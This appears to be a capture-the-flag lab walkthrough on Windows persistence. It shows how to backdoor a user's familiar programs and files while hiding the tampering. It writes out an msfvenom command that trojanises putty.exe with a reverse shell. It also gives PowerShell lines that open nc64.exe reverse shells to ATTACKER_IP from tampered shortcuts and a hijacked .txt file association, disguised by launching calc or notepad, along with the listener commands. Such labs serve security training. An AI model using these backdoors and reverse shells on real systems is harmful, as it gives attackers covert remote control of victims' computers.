This room shows how we can make a backdoor using the files users interact with regularly and also making sure the files react as expected. This will make sure we dont blow our cover.
If you see any user with having executables on their desktop, the chances are high that they use it very often. We will plant an exploit using msfvenom. For example, we will use putty.exe here. Create a backdoored version of the exe that will also start an extra binary thread. Using the command:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
The resulting puttyX.exe will execute a reverse_tcp meterpreter payload without the user noticing it.
We can tamper with the shortcut file to run a script that will run a backdoor and then run the normal program so that our cover is not blown.
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe <put your ATTACKER_IP> 4445"
C:\Windows\System32\calc.exe
powershell.exe -WindowStyle hidden C:\Windows\System32\sc.ps1
Note: Also make sure you change the icon of the calc to intended aplication - calc (available under system32 folder - shown in the image)
nc -lvp 4445


We will force the OS to run a shell whenever the user opens a specific file type. Default OS file associations are kept inside registry HKLM\Software\Classes where the ProgID (Programmatic ID) is associated with the file type subkey. A ProgID is simply an identifier to a program installed on the system.

txtfile is associated with anything .txt

txtfile when opening runs the command %SystemRoot%\system32\NOTEPAD.EXE %1
Note: %1 is like a placeholder for the name of the file to be opened
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe <put your ATTACKER_IP> 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]
Save it in a sneaky place Note: pass $args[0] to notepad, as it will contain the name of the file to be opened, as given through %1

nc -lvp 4448
flag6.exe